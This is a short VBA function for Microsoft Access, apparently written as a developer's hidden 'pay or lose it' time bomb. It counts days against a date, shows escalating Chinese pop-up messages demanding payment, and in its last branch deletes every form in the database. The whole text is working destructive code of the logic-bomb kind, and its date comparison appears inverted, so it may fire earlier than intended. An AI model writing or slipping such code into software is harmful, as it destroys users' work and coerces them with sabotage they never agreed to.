Public Function DelFroms(ByVal d As Date)
Dim frm As AccessObject
Dim dbs As Object
Dim n As Long
Set dbs = Application.CurrentProject
n = DateDiff("d", d, Date)
Select Case n
Case 5 To 10
MsgBox "兄弟,钱准备好了吗?"
Case 2 To 4
MsgBox "哥们,我等钱买米下锅,请抓紧付款!"
Case 1
MsgBox "老弟,今天不给钱,明天我就饿死了!"
Case Is <= 0
MsgBox "我饿死了!"
Do While dbs.AllForms.Count > 0
DoCmd.DeleteObject acForm, dbs.AllForms(0).Name
Loop
End Select
End Function